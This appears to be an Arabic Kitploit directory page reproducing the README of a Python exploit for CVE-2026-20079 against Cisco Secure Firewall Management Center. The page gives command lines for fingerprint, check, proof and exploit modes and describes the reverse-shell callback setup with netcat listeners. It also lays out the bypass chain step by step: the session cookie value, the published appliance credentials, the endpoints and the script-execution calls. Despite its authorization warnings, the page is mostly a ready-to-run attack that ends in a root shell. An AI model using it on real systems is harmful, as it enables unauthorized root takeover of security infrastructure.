Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-20079 — ينفّذ سلسلة CVE-2026-20079 لتجاوز المصادقة وصولًا إلى RCE بصلاحيات الجذر ضد Cisco Secure FMC باستخدام أوضاع fingerprint و check و proof والاستغلال التفاعلي. | Kitploit
أدوات/GitHubGitHub/cyberauth/cve-2026-20079
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةتطوير الحمولات
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

ينفّذ سلسلة CVE-2026-20079 لتجاوز المصادقة وصولًا إلى RCE بصلاحيات الجذر ضد Cisco Secure FMC باستخدام أوضاع fingerprint و check و proof والاستغلال التفاعلي.

عرض المستودع
6364منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-20079 Cisco Secure FMC PoC

إثبات مفهوم بلغة Python لسلسلة تجاوز المصادقة إلى تنفيذ أوامر عن بُعد بصلاحيات الجذر (authentication-bypass-to-root-RCE) الموثّقة علنًا في Cisco Secure Firewall Management Center ضمن CVE-2026-20079.

هذه ليست ثغرة جديدة ولا سلسلة استغلال مطوّرة بشكل مستقل. إنها تنفيذ نظيف الغرفة (clean-room) لتسلسل الطلبات الذي نشرته VulnCheck، مع أوضاع منفصلة للبصمة، والفحص المرحلي، والإثبات أحادي الطلقة، والاستغلال التفاعلي.

الإعداد السريع

يتطلب Python 3.10 أو أحدث. على Linux أو macOS:

git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help

استبدال العناوين النموذجية

جميع قيم 192.0.2.x أدناه هي عناوين توثيق محجوزة. وهي عناصر نائبة، وليست معلومات هدف مكتشفة، ويجب استبدالها بقيم من التقييم المصرّح به. لا يُتوقع أن تعمل الأوامر دون تغيير.

مثالالمعنىما يجب استخدامه بدلاً منه
https://192.0.2.10عنوان URL الخاص بـ FMC الهدفالمخطط والعنوان والمنفذ الدقيق لـ FMC المصرّح به
192.0.2.20العنوان الذي يتصل منه FMC عائداًعنوان IP أو اسم DNS لمستمع المشغّل كما يمكن الوصول إليه من FMC
192.0.2.0/24نطاق CIDR نموذجي للبصمةنطاق شبكة مصرّح به صراحةً
4444منفذ TCP للاستدعاء العائد/المستمعمنفذ مُعتمد يمكن الوصول إليه على نظام الاستدعاء العائد
0.0.0.0المكان الذي يرتبط به المستمع على نظام المشغّلأبقِه للاستماع على جميع الواجهات المحلية، أو استخدم عنوان واجهة محلية واحدة
192.0.2.10 في --expected-callback-sourceالمصدر المتوقع للاستدعاء العائدعنوان مصدر FMC كما يرصده المستمع؛ احذف هذا الخيار عندما يجعل NAT الأمر غير مؤكد
http://127.0.0.1:8080وكيل اعتراض محلي اختياريعنوان URL للوكيل الذي يستمع فعلياً على نظام المشغّل

اختيار --callback-host

استخدم هذه القاعدة: من وجهة نظر FMC، أي عنوان يصل إلى مستمع المشغّل؟ ذلك العنوان هو --callback-host.

مسار الشبكةقيمة --callback-host النموذجية
المشغّل وFMC على نفس الشبكة الموجّهةعنوان eth0 أو en0 أو أي عنوان LAN آخر يمكن الوصول إليه على نظام المشغّل
يصل المشغّل إلى FMC عبر VPNعنوان واجهة VPN الذي يمكن الوصول إليه، مثل tun0 أو utun، عندما يكون لدى FMC مسار إليه
المشغّل خلف NAT أو جدار حمايةعنوان IP العام أو اسم DNS الذي يُعاد توجيه المنفذ المحدد منه إلى نظام المشغّل
يُستخدم نفق استدعاء عائد أو VPSنقطة نهاية النفق التي يمكن الوصول إليها أو عنوان VPS

لا تستخدم 127.0.0.1 أو 0.0.0.0 من أجل --callback-host. فـ 127.0.0.1 سيشير إلى FMC نفسه، بينما 0.0.0.0 هو قيمة ربط للمستمع، وليس وجهة. تأكد من أن التوجيه وقواعد جدار الحماية وأي إعادة توجيه للمنافذ تسمح لـ FMC بالوصول إلى --callback-host على --callback-port.

--listen-host محلي فقط: فهو يحدد الواجهة التي ينتظر عليها المستمع المدمج. قيمته الافتراضية، 0.0.0.0، تستمع على كل واجهة محلية. وهو لا يخبر FMC بمكان الاتصال. لذلك، قد يختلف --callback-host و--listen-host، خاصةً عبر NAT.

مثال عملي: المشغّل وFMC على نفس الشبكة

افترض هذا المختبر الخيالي المخصص للتوثيق فقط:

Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

تُعيّن القيم الأمر على النحو التالي:

  • --target https://192.0.2.10 يحدد الـ FMC الذي تتم تقييمه.
  • --callback-host 192.0.2.20 هو عنوان eth0 لنظام المشغّل لأن الـ FMC يمكنه التوجيه إليه مباشرةً.
  • --callback-port 4444 هو منفذ TCP المعتمد الذي يستخدمه الـ callback.
  • --listen-host 0.0.0.0 يجعل المستمع المدمج يقبل الـ callback على أي واجهة محلية، بما في ذلك eth0.

سيكون أمر إثبات لمرة واحدة لذلك المثال كما يلي:

python3 CVE-2026-20079.py \
  --proof \
  --target https://192.0.2.10 \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --listen-host 0.0.0.0

المسار هو: يرسل المشغّل طلبات HTTPS إلى 192.0.2.10، ثم يتصل الـ FMC مرة أخرى بعنوان المشغّل 192.0.2.20:4444. في تقييم حقيقي، استبدل كلا عنوانَي IP وتأكد من مسار العودة قبل تشغيل الأمر. إذا تعذّر على الـ FMC الوصول إلى عنوان eth0 الخاص بالمشغّل، فاستخدم بدلاً من ذلك عنوان VPN أو NAT أو النفق أو VPS القابل للوصول الموصوف أعلاه.

الأوضاع ومرجع الأوامر السريع

الوضعتأثير الشبكة أو الهدفالدليل أو النتيجة
--fingerprintطلبات GET فقطسطح ويب محتمل لـ FMC؛ وليس تأكيدًا لوجود ثغرة
--checkطلبا GET على الأكثر؛ دون ترقية للجلسةتطابق نمط استجابة التجاوز المعروف كليًا أو جزئيًا
--check --intrusiveيرقّي حالة الجلسة على جانب الخادمتجاوز المصادقة والوصول إلى رمز إجراء
--proofيكتب ويشغّل حمولة استدعاء عكسي محدودةتنفيذ بصلاحيات الجذر مع التنظيف، دون صدفة تفاعلية
--exploitيكتب ويشغّل حمولة FIFO/netcatاستدعاء عكسي تفاعلي بصلاحيات الجذر، أو تحقق محدود باستخدام --auto-verify

عيّن القيم الثلاث المثالية مرة واحدة، مع استبدال كل منها بالهدف المصرّح به، وعنوان الاستدعاء العكسي للمشغّل، والمنفذ:

# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

ثم اختر وضعًا واحدًا فقط:

# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"

# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"

# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat:         nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
  --auto-verify

[!IMPORTANT] البصمة هي خطوة تعريف بالمنتج قائمة على الاستدلال، وليست فحصًا للثغرات. لا تُثبت MATCH وLIKELY أن الهدف متأثر أو قابل للاستغلال، كما أن NO_MATCH لا يستبعد وجود FMC. قد تؤثر الوكلاء العكسية، أو صفحات تسجيل الدخول المخصصة، أو ضوابط الوصول، أو أعطال الشبكة، أو تغيّرات المنتج في النتيجة.

ترسل عملية البصمة طلبات شبكة لكنها لا تشغّل تجاوز المصادقة أو سلسلة RCE. يرسل الفحص الافتراضي ملف تعريف الجلسة الخاص إلى نقطة نهاية معلومات محمية، لكنه لا يرسل بيانات اعتماد ولا يرقّي الجلسة. اقرأ تفاصيل التصنيف، وأوصاف الأوضاع، وتحذير حالة الجلسة أدناه قبل استخدام أي وضع تحقق.

[!WARNING] لا تشغّل --check أو --proof أو --exploit دون تفويض كتابي صريح. يجب أن يغطي التفويض الخاص بأوضاع --check --intrusive والتحقق من الصحة والاستغلال تغييرات أهدافها وطريقة التحقق. اقرأ المتطلب الأساسي، وقيود حالة الجلسة، ومتطلبات الاستدعاء العكسي أولًا.

كيف تعمل سلسلة الاستغلال

توفّر السلسلة النشطة CGISESSID=csm_processes إلى /login.cgi?logon=Continue، وتستخدم بيانات اعتماد الجهاز المنشورة report:snortrules، وتستخرج sf_action_id من /ui/user/general، وتكتب سكربت بصيغة Makeself عبر validateLicense، ثم تشغّله عبر SF::UI::DataObjectLibrary::upgradeReadinessCall.

يحوّل مُسلسِل JSON فقط التتابعات التي تمثّل أسطر سكربت فعلية إلى \u000A. تبقى تتابعات \n الحرفية ومحتوى الشرطة العكسية الآخر في الأمر دون تغيير.

متطلب أساسي مهم

تنزيل الأداة